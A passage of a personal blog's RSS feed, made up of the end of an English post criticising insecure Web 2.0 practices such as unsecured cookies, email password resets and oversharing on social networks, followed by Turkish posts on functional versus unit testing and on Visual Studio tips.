&lt;/h3&gt;&lt;p&gt;Big web 2.0 applications are so popular and they are generally traffic heavy. Which causes them to simply ignore SSL for performance reasons. Even if they supports SSL generally they don't mark cookies as 'secure' which allows an attacker to carry out successful session hijacking attacks. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; Most of the Web 2.0 applications and particularly Gmail for the last 4 years. They've recently introduced an option to force gmail to work over SSL. Funny enough it's still not over SSL by default.&lt;br/&gt;
	&lt;/p&gt;&lt;h3&gt;Retrieving Password by E-mail 
&lt;/h3&gt;&lt;p&gt;Almost all web applications can retrieve your password to your e-mail without requesting any other extra information like a "security question" or something.  This means if your e-mail account get hacked your identity has gone within moments.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; Almost all Web 2.0 Applications&lt;br/&gt;
	&lt;/p&gt;&lt;h3&gt;Plain Stupid Simplicity
&lt;/h3&gt;&lt;p&gt;Couple of Web 2.0 application doesn't even allow you to choose a password more than 8 characters because they keep it simple(!) Forcing your users to choose insecure passwords is not simplicity it's stupidity.
&lt;/p&gt;&lt;p&gt; 
 &lt;/p&gt;&lt;h3&gt;Remember Me
&lt;/h3&gt;&lt;p&gt;We might forgive this one but now every single application allows this feature which makes them easier to exploit against Cross-site Scripting attacks or account hijacking in shared computers.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; Everyone!&lt;br/&gt;&lt;img src="http://ferruh.mavituna.com//blogs/upload/122608_1400_InsecureTre3.png" alt=""/&gt;
	&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h2&gt;Sociability
&lt;/h2&gt;&lt;p&gt;Social engineering was some kind of an art but now it's bloody easy. If you are trying to learn more information about someone such as "what colour of undies she's wearing" or "what's her birthday" or "who's her boyfriend" or "where was she last night" or "in which company she's working as personal assistant" just visit her profile in Facebook, myspace, bebo, read her twitter messages, learn her taste of music by checking out her last.fm profile. Don't stop there learn what she reads from librarything and what she eats from another social website, and see her resume in LinkedIn. Finally don't forget her blog where she writes every little totally useless information about her daily life. Funny enough you'll figure pretty soon her e-mail password is her dog's name.
&lt;/p&gt;&lt;p&gt;Couple of years ago we were talking about how "out-of-office" replies leaks information, now we are talking about massive information leakage about everything. All employees blog about stuff, companies being "&lt;strong&gt;open&lt;/strong&gt;" and "&lt;strong&gt;transparent&lt;/strong&gt;". That's the Web 2.0 for you where your birthday is publicly available in 15 different social websites and your company's new and super project's first draft already published in one of your developer's blog.
&lt;/p&gt;&lt;h3&gt;Password cracking and Social Networks
&lt;/h3&gt;&lt;p&gt;Beside of the obvious potential social engineering attacks, identity theft or faking one's identity sort of attacks there are other issues. An attacker can use different social networks to find answers of "secret questions" to reset the password of his or her victims in different websites furthermore an attacker can gather all of this information and might use it in a dictionary attack against online accounts or an offline password cracking attack.
&lt;/p&gt;&lt;h2&gt;Integration
&lt;/h2&gt;&lt;h3&gt;CSRF(able) Bookmarklets and Tool Integration
&lt;/h3&gt;&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Bookmarklet" title="Bookmarklets"&gt;Bookmarklets&lt;/a&gt; are inherently vulnerable to CSRF attacks and most of the Web 2.0 applications which supports social integration provides several bookmarklets. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; twitter, Diigo &lt;br/&gt;
	&lt;/p&gt;&lt;h3&gt;Overpowered APIs and Duplicated Code
&lt;/h3&gt;&lt;p&gt;To increase the integration between services most of the Web 2.0 applications provides powerful APIs. Generally the web application doesn't use these APIs internally which leads developers to common security pitfalls such as "duplicated code", "broken authorisation", "information leakage".&lt;br/&gt;&lt;br/&gt;Features in the APIs provides more than the user interface and generally provides easier automation which can cause massive information leakage issues. Same things goes for different interfaces to access the same functionality. For example twitter protected itself against CSRF in the web interface although it was still vulnerable to CSRF in the mobile interface &lt;em&gt;(which was in the same domain therefore vulnerable&lt;/em&gt;).&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; Facebook, twitter (&lt;em&gt;mobile interface&lt;/em&gt;)
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h2&gt;Outsourcing
&lt;/h2&gt;&lt;p&gt;Since lots of things have been already built, why bother to build our own system. Let's just use others'. From productivity point of view this is one of the greatest things happened to web, just like programmers using external libraries now web developers can use external widgets. Instead of building your own photo gallery just use Flickr, instead of using your own flash player just embed it from youtube. Instead of rolling your own webstats just use "google analytics", add an "adsense javascript" or "google ad manager" so you don't need to manage your ads.&lt;br/&gt;&lt;br/&gt;This is all good but it comes with a price, it increases the attack surface of the applications. Do you remember &lt;a href="http://www.wired.com/science/discoveries/news/2002/07/54040?currentPage=2" title="Fluffy Bunny's attack to SecurityFocus"&gt;Fluffy Bunny's attack to SecurityFocus&lt;/a&gt; ? Every piece of javascript, flash animation, java applet, RSS feed is a potential vulnerability in your website. If an attacker can gain access to one of this external resources game is over in the client-side. Now your website is vulnerable to Cross-site Scripting because of this.&lt;br/&gt;&lt;br/&gt;It's client-side, that's true, but what about attack opportunities such as stealing keylogs in login forms via JavaScript? After this an attacker might login as admin, and now it's a proper defacement.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; The Internet
&lt;/p&gt;&lt;h2&gt;Cutting Edge Technology
&lt;/h2&gt;&lt;p&gt;Everyday there is new buzz in Web 2.0. It can be AJAX, Flex, Adobe AIR, Silverlight, Comet, Flash &amp; Web Services, Widgets, Crazy JavaScript libraries etc. When the technology is new that means "best practices" are not defined yet, they are "work in progress". Which generally results with issues such as "&lt;a href="https://www.blackhat.com/presentations/bh-usa-07/Sullivan_and_Hoffman/Whitepaper/bh-usa-07-sullivan_and_hoffman-WP.pdf" title="Premature AJAX-ulation"&gt;Premature AJAX-ulation&lt;/a&gt;", &lt;a href="http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf" title="Javascript Hijacking"&gt;Javascript Hijacking&lt;/a&gt;, Flash XSS issues or &lt;a href="http://thedailywtf.com/Comments/Passwords%21__Get_Your_Free_Passwords_Here%21.aspx" title="plain stupid usage of the technology"&gt;plain stupid usage of the technology&lt;/a&gt;.&lt;br/&gt;&lt;br/&gt;Beside of these all of these new technologies increase the attack surface of the client as well. Your website can be vulnerable to XSS because of an &lt;a href="http://www.wisec.it/vulns.php?page=9" title="Adobe PDF file (UXSS)"&gt;Adobe PDF file (Adobe Universal XSS)&lt;/a&gt; or a Flash File (&lt;a href="http://xforce.iss.net/xforce/xfdb/11789" title="clicktag XSS"&gt;clicktag XSS&lt;/a&gt;). &lt;br/&gt;&lt;br/&gt;
	&lt;/p&gt;&lt;h2&gt;Trust
&lt;/h2&gt;&lt;p&gt;Even after massive number of phising attacks, fake websites, so called "legitimate business", it's quite impressive to see how much people still trust the websites. &lt;br/&gt;&lt;br/&gt;&lt;a href="http://blog.wired.com/monkeybites/2007/10/google-health-w.html" title="Google wants your medical records with Google Health"&gt;Google wants your medical records with Google Health&lt;/a&gt; and another Web 2.0 application &lt;a href="http://www.mint.com/" title="Mint wants your bank account details"&gt;Mint wants your bank account details&lt;/a&gt; (&lt;em&gt;no I'm &lt;a href="http://www.mint.com/security-faq.html" title="not kidding"&gt;not kidding&lt;/a&gt;&lt;/em&gt;) to manage your finance. We already knew there are crazy people out there who upload their private videos and pictures to websites by marking them as "private". Guess what, they're not that private after all as seen on a &lt;a href="http://www.maximumpc.com/article/how_you_used_to_view_private_photos_on_facebook" title="Facebook vulnerability"&gt;Facebook vulnerability&lt;/a&gt; which allows to see private photo albums of anyone.&lt;br/&gt;&lt;br/&gt;Developers should be careful about these common but insecure practices of Web 2.0 and should be aware of the consequences of the technology they choose and design decisions.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qPPsU8uLbRiI5O-n6h0cVAdyQ70/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qPPsU8uLbRiI5O-n6h0cVAdyQ70/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qPPsU8uLbRiI5O-n6h0cVAdyQ70/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qPPsU8uLbRiI5O-n6h0cVAdyQ70/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=TuqvgEoW"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ic2G2NLz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=22BPYcHs"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=JPkM5I3R"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=JPkM5I3R" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/DljFrjYiSSU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/nsecure-trends-in-web-20-oku/</guid>
  <comments>http://ferruh.mavituna.com/nsecure-trends-in-web-20-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/nsecure-trends-in-web-20-oku/</feedburner:origLink></item>
<item>
  <title>Functional Testing vs Unit Testing</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/PiHYk-zbUl4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 16 Ara 2008 00:26:31 +0300</pubDate>
  <description>&lt;p&gt;Her ne kadar &lt;a href="http://ferruh.mavituna.com/tag/tdd/" title="TDD"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;TDD&lt;/span&gt;&lt;/a&gt; ve &lt;a href="http://ferruh.mavituna.com/search/?q=unit+testing&amp;SearchArticle=1&amp;SearchTitle=1" title="Unit Testing"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Unit Testing&lt;/span&gt;&lt;/a&gt;' i bir boyutta uygulasam da yazılım geliştirirken XP (&lt;em&gt;extreme programming&lt;/em&gt;) ya da benzer bir metodolojiyi sıkı sıkıya takip etmiyorum. Her konuda yaptığım gibi açık fikirli olup, değişik yaklaşımları analiz edip, haklarında bilgi toparlayıp kendi durumuma göre kendi &lt;strong&gt;&lt;em&gt;hybrid&lt;/em&gt;&lt;/strong&gt; modelimi kullanmaya çalıştırıyorum. Bu aralar özellikle yazılım geliştirme ile çok iç içeyim ve bunun sonucunda Unit Testing, TDD ve Functional Testing konularında denemeler yapıp en iyi birleşimi bulmaya, işimi en iyi görecek çözüme ulaşmaya çalışıyorum.&lt;br/&gt;&lt;br/&gt;Devam etmeden Functional Testing ile Unit Testing' e ve aralarındaki farklara bakalım.&lt;br/&gt;&lt;br/&gt;&lt;a href="http://en.wikipedia.org/wiki/Unit_testing" title="Unit Testing"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Unit Testing&lt;/span&gt;&lt;/a&gt;
	&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Sistemin en küçük birimlerini test etmektir,
&lt;/li&gt;&lt;li&gt;Hızlıdırlar,
&lt;/li&gt;&lt;li&gt;İzolasyon kritiktir ve hiç bir testin diğer testleri ya bir dış kaynağın çalışan testleri etkilememesi gerekir. Bu amacı yerine getirmek için bir web server ya da file system erişimde, ya da diğer herhangi bir class ile konuşma noktasında &lt;a href="http://en.wikipedia.org/wiki/Mock_object" title="Mocking"&gt;Mocking&lt;/a&gt; devreye girer,
&lt;/li&gt;&lt;li&gt;Kodda hata oluştuğunda kesin olarak hatanın nerede oluştuğunu saptamak çok kolaydır. (Çünkü sistemin en küçük birimlerini test ediyoruz),
&lt;/li&gt;&lt;li&gt;Yüksek &lt;a href="http://en.wikipedia.org/wiki/Code_coverage" title="Code Coverage"&gt;Code Coverage&lt;/a&gt; almaya uygundur,
&lt;/li&gt;&lt;li&gt;Genelde koddaki her değişiklikten sonra çalıştırılır. Bu sayede kodda gözü kapalı değişiklik yapabilir ve bir sorun varsa anında farkına varabilirsiniz. Bunun anlamı sorun çok daha büyümeden ya da tasarımın içerisine girmeden sorunu çözmek demektir.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;strong&gt;Functional Testing&lt;/strong&gt; (&lt;em&gt;Automated&lt;/em&gt;)
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Sistemin parçalarını ya da sistemin bütün olarak işleyişini otomatik şekilde test etmektir,
&lt;/li&gt;&lt;li&gt;Daha gerçekçi testler ortaya çıkmasını sağlar,
&lt;/li&gt;&lt;li&gt;Yavaştırlar (izolasyonun az olması bunun ana nedenidir),
&lt;/li&gt;&lt;li&gt;Kodun bir yerinde hata oluşması testlerin büyük bir kısmını geçersiz hale getirebilir,
&lt;/li&gt;&lt;li&gt;Kodda hata oluştuğunda nokta atışı hatayı bulmak pek basit olmayabilir,
&lt;/li&gt;&lt;li&gt;Bazı testler Unit Testing' e göre çok daha hızlı yazılabilir, çünkü çok daha az test yapmak gerekir. Mesela bir class' ın private method' ları vs. test edilmez. Class' ın geneli beklendiği gibi çalışması yeterlidir,
&lt;/li&gt;&lt;li&gt;Code Coverage' i yükseltmek zor olabilir çünkü her durumu geniş perspektiften simule etmek mümkün olmayabilir ya da gereğinden çok efor gerektirebilir,
&lt;/li&gt;&lt;li&gt;Yavaşlığından dolayı ve coverage azlığından dolayı her kod değişikliğinden ya da yeni koddan sonra çalıştırılmaya pek uygun değildir.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Functional Testing' i Unit Testing ile birlikte kullanmak popüler kullanımlardan biri, bu sayede en ince detayda ve tam bir bütün olarak kodun beklenildiği gibi çalıştığı otomatik olarak kontrol edilebilir. &lt;br/&gt;&lt;br/&gt;Genel olarak insanların TDD (&lt;em&gt;önce test, sonra kod&lt;/em&gt;) ya da klasik Unit Testing yapmamalarının nedeni testleri yazmanın &lt;strong&gt;getirdiği ekstra külfet&lt;/strong&gt;. Özellikle Türkiye gibi agresif, kısa deadline' lı projeler ile dolup taşan yerlerde yazılımcılara Unit Testing önermek küfürmüş gibi algılanıyor. Açıkçası kimse gerçek bir getirisi olmayan bir şey için ekstra vakit ayırmak istemez ama bu işin gerçek ve gözle görülür bir getirisi var (&lt;em&gt;kanıtlanmış mı? Hem evet hem hayır! o başka bir yazı konusu&lt;/em&gt;). &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Hybrid Model&lt;/strong&gt;&lt;br/&gt;Eğer...
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Yazılımınınız çok kritik bir iş yapmıyorsa, (örnek: Ayda cirit atacak robot kontrolü, Nükleer füze tetikleyicisi, Merkez Bankasının para-girdi çıktı düzenleyicisi, Britney Spears' a hava durumuna göre ayakkabı önermeciliği )
&lt;/li&gt;&lt;li&gt;Geniş bir takıma ve uzun, rahat geliştirme planına sahip değilseniz,
&lt;/li&gt;&lt;li&gt;Az koyup çok almak istiyorsanız...
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;bu model sizin işinizi görebilir. &lt;a href="http://en.wikipedia.org/wiki/Pareto_principle" title="Pareto Prensibini"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Pareto Prensibini&lt;/span&gt;&lt;/a&gt; bilirsiniz, hani şu 80/20 kuralı. Bir süredir bu mantığa dayanarak Functional Testing ile ve aralarda Unit Testing desteği ile bir proje geliştiriyorum ve otomatik testlerden alacağım faydanın %80' ini %20 efor ile aldığıma inanıyorum. 
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Private method vs. leri test etmiyorum, 
&lt;/li&gt;&lt;li&gt;Çok az mock objesi kullanıyorum, 
&lt;/li&gt;&lt;li&gt;Aşırı izolasyon yapmıyorum,
&lt;/li&gt;&lt;li&gt;Küçük detayların harici uzun soluklu functional testlere odaklanıyorum, 
&lt;/li&gt;&lt;li&gt;Hata çıkarma olasılığı çok olan, kritik olan kod kısımlarını Unit Testing ile destekliyorum.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Bu modelin en ciddi sorunlarından biri kodun &lt;strong&gt;&lt;em&gt;highly coupled &lt;/em&gt;&lt;/strong&gt;(&lt;a href="http://c2.com/cgi/wiki?LawOfDemeter" title="Law of Demeter"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Law of Demeter&lt;/span&gt;&lt;/a&gt;) olmasına izin veriyor. Tabii ki bunu düzeltmek geliştirici olarak sizin elinizde ama TDD odaklı bir geliştirmede highly coupled class' lar bulmanız pek mümkün olmayacaktır. Açıkçası highly/tightly coupled olmayan kod yazmak gerçekten &lt;strong&gt;zor &lt;/strong&gt;bir iş.&lt;br/&gt;&lt;br/&gt;Bu benim yaklaşımım şu ana kadar benim için istediğim kıvamda çalıştığını söyleyebilirim. Eğer şimdiye kadar hiç yapmadıysanız bu şekilde hafif bir başlangıç yapabilir ve biraz tadını çıkartabilirsiniz.&lt;br/&gt;Farklı deneyimleri duymak da hoşuma gider. Özellikle Unit Testing yapıp mutlu olanlar ya da yapmayı deneyip verim alamayanlar gibi.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7Ax-lgzIclmP5V9Z_c_CpiVais8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7Ax-lgzIclmP5V9Z_c_CpiVais8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7Ax-lgzIclmP5V9Z_c_CpiVais8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7Ax-lgzIclmP5V9Z_c_CpiVais8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Lte84VNb"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=03gZTdtr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=4cyJ3vCw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=JwYIWkVj"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=JwYIWkVj" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/PiHYk-zbUl4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/functional-testing-vs-unit-testing-oku/</guid>
  <comments>http://ferruh.mavituna.com/functional-testing-vs-unit-testing-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/functional-testing-vs-unit-testing-oku/</feedburner:origLink></item>
<item>
  <title>Visual Studio’ nun Hakkını Verme</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/TQE2BkyJv38/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 07 Ara 2008 13:31:31 +0300</pubDate>
  <description>&lt;p&gt;Üç sene kadar önce &lt;a href="http://ferruh.mavituna.com/silahini-tani-oku/"&gt;silahını tanı&lt;/a&gt; başlıklı bir yazı yazmıştım. Dün Visual Studio ile biraz vakit harcayıp istediğim hale getirdim, Visual Studio konusunda bilmeniz gereken bazı temel şeyler var:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div&gt;&lt;a href="http://ferruh.mavituna.com/visual-studio-2008-download-adresleri-oku/"&gt;Visual Studio' nun Express Edition&lt;/a&gt;' ları tamamen ücretsiz, Yalnız bu Express Edition' lar aşadağıdaki gibi bazen çok önemli olabilecek şeyleri desteklemiyor:
&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Class Designer&lt;br/&gt;FxCop Entegrasyonu&lt;br/&gt;Gelişmiş Debug Seçenekleri (özellikle condition dayalı breakpoint' lerin olmaması)&lt;br/&gt;VS.NET eklenti Desteği&lt;br/&gt;Multi-Thread Debugging Desteği&lt;br/&gt;Farklı .NET dillerinde projeleri aynı proje üzerinden yönetebilme
&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;Tüm kendi özelleştirmelerinizi Export / Import edebilirsiniz. Bu sayede tüm özelleştirmeleri bir defa yapmanız yeterli. Daha sonra Tüm VS sistemlerine bunları basitçe taşıyabilirsiniz.
&lt;/li&gt;&lt;li&gt;Pencereler iki ana durumda saklanıyor, birinci &lt;strong&gt;geliştirme süreci&lt;/strong&gt;, ikincisi &lt;strong&gt;debugging&lt;/strong&gt; yaparken. Bunlar her zaman son olarak kullandığınız şekilde saklanıyorlar. Mesela debugging yaparken "Immediate" penceresini ikinci monitöre taşırsanız, bir sonraki debugging' e başladığınızda "Immediate" penceresi gene ikinci monitöre geçecek ve debugging' i bitirdiğinizde &lt;strong&gt;geliştirme sürecindeki&lt;/strong&gt; yerine geri dönecektir.
&lt;/li&gt;&lt;li&gt;&lt;a href="http://ferruh.mavituna.com/visual-studio-da-bilmeniz-gereken-kisayol-tuslari-oku/"&gt;Visual Studio' da Bilmeniz Gereken Kısa Yollar&lt;/a&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h2&gt;VS.NET 2008 Team System ve MBUnit
&lt;/h2&gt;&lt;p style="margin-left: 18pt"&gt;VS.NET 2008 Team System Unit Testing Framework' ü ile birlikte geliyor ama normalde bu sadece MS Unit Testleri ile çalışıyor. Eğer siz de benim gibi &lt;a href="http://www.hanselman.com/blog/MbUnitUnitTestingOnCrack.aspx"&gt;&lt;strong&gt;Row Testing&lt;/strong&gt;&lt;/a&gt;' ten vazgeçemeyenlerdenseniz &lt;a href="http://www.nunit.org/"&gt;nUnit&lt;/a&gt; (&lt;em&gt;son versiyonu&lt;/em&gt;) ya da &lt;a href="http://www.mbunit.com/"&gt;MbUnit&lt;/a&gt; gibi bir framework kullanıyor olacaksınız ve bu durumda VS.NET' in Test çözümü yerine ekstra bir yazılıma ihtiyaç duyacaksınız. 
&lt;/p&gt;&lt;p style="margin-left: 18pt"&gt;MbUnit v3' VS.Net 2008 Team System için tam entegre bir çözüm geliştirmiş yani ekstra bir Unit Testlerinizi test edecek ekstra bir araç yerine VS.NET ile olan Test pencerelerini kullanabilir hale gelebilirsiniz. Bunun için şunlara ihtiyacınız var :
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;VS.NET Team Team System 2008 + SP1
&lt;/li&gt;&lt;li&gt;MbUnit v3
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ek olarak &lt;a href="http://blog.bits-in-motion.com/2008/10/announcing-gallio-and-mbunit-v304.html"&gt;MbUnit v3 yenilikleri&lt;/a&gt;, &lt;a href="http://weblogs.asp.net/astopford/archive/2008/07/03/mbunit-v3-in-visual-studio-team-system-2008.aspx"&gt;MbUnit ve VS.NET&lt;/a&gt; ve &lt;a href="http://social.msdn.microsoft.com/Forums/en-US/vststest/thread/c7f9c0c0-3fd8-4bb8-952c-e7a064f0ed9a/"&gt;VS.NET' te test projelerini nasıl belirtebilirsiniz&lt;/a&gt; yazılarını okumanızı şiddetle tavsiye ederim. Şu an ben bunu kullanır hale geldi ve &lt;a href="http://ferruh.mavituna.com/yazilim-gelistirme-programlari-araclari-oku/"&gt;TestDriven.NET&lt;/a&gt; ya da &lt;a href="http://www.jetbrains.com/resharper/"&gt;ReSharper&lt;/a&gt; olmadan VS.NET içerisinde testleri çalıştırmak çok keyifli.
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h2&gt;VS.NET 2008 Hızlı Kod Yazma Eklentileri
&lt;/h2&gt;&lt;p&gt;Bu konuda iki tane çok popüler eklenti var :
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://devexpress.com/Products/Visual_Studio_Add-in/Coding_Assistance/"&gt;CodeRush&lt;/a&gt; + &lt;a href="http://devexpress.com/Products/Visual_Studio_Add-in/Refactoring/"&gt;Refactor! Pro&lt;/a&gt; (&lt;a href="http://www.devexpress.com/Products/Visual_Studio_Add-in/VBRefactor/"&gt; VB.NET için ücretsiz versiyonu da var&lt;/a&gt;) 
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.jetbrains.com/resharper/"&gt;ReSharper&lt;/a&gt; (&lt;em&gt;C# için ücretsiz versiyonu da var – bunun linkini bulamadım ama eminim böyle bir şey var!&lt;/em&gt;)
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Maalesef bu iki eklentinin de tam verisyonu ücretli ve biraz da pahalı ama verdikler hız etkisini düşününce muhtemelen iki ay içerisinde paranızı geri almış olacaksınız. İkisi arasında benim tercihim CodeRush.
&lt;/p&gt;&lt;p&gt;&lt;a href="http://ferruh.mavituna.com/vs-net-icin-eklentiler-oku/"&gt;Bazı diğer eklentiler.&lt;/a&gt;
	&lt;/p&gt;&lt;h2&gt;Şekil Yapma
&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codinghorror.com/blog/archives/000157.html"&gt;Güzel bir programalama fontu seçin&lt;/a&gt; (Benim favorim &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=22e69ae4-7e40-4807-8a86-b3d36fab68d3&amp;displaylang=en"&gt;Consolas&lt;/a&gt;)
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.hanselman.com/blog/ChangingYourColorsInVisualStudioNETBlackVersusWhite.aspx"&gt;Kodlama panelindeki renklendirmeyi düzenleyin&lt;/a&gt; (&lt;em&gt;Ben klasik renkleri çok az değiştirerek kullanıyorum, arkaplanı ise genel açık-gri seçiyorum&lt;/em&gt;)
&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;VS.NET İpuçları
&lt;/h2&gt;&lt;p&gt;Bir sürü ipucu sitesi ve kaynağı var ama &lt;a href="http://blogs.msdn.com/saraford/"&gt;Sara Ford' un websitesi&lt;/a&gt; sanırım bu sitelerin içerisindeki en iyilerden biri. Şu an itibari ile &lt;strong&gt;372 ipucu&lt;/strong&gt; var, bazıları "File altında Open diye bir menü var, biliyor muydunuz?" derecesinde salakken bazıları gerçekten de çok güzel. Takibe ve arşivlerini analiz okumaya değer.
&lt;/p&gt;&lt;p&gt;Visual Studio sandığınızdan çok daha güçlü, güzel ve gelişmiş şekilde. Son olarak ben de zamanında VS.NET' e &lt;a href="http://ferruh.mavituna.com/visual-studio-2005-the-guardian-proje-zamani-tutucu-oku/"&gt;küçük bir eklenti yazmıştım, The Guardian&lt;/a&gt; (&lt;a href="http://ferruh.mavituna.com/theguardian/download/Guardianv1.zip"&gt;download&lt;/a&gt;). VS.NET 2008 ile çalışığ çalışmadığını bile bilmiyorum ama ilginizi çekebilir. Süper dağınık bir yazının sonuna geldik, umarım siz parçaları birleştirebilir ve bu yazıdan işinize yarayan bir şeyler çıkartabilirsiniz.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EqA61YuGpXv_9baqfKBUAJzF9uo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EqA61YuGpXv_9baqfKBUAJzF9uo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EqA61YuGpXv_9baqfKBUAJzF9uo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EqA61YuGpXv_9baqfKBUAJzF9uo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QMJnF5ZI"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=pEMHbsbw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=arlN45b8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UUDWHYNr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=UUDWHYNr" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/TQE2BkyJv38" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/visual-studio-nun-hakkini-verme-oku/</guid>
  <comments>http://ferruh.mavituna.com/visual-studio-nun-hakkini-verme-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/visual-studio-nun-hakkini-verme-oku/</feedburner:origLink></item>
<item>
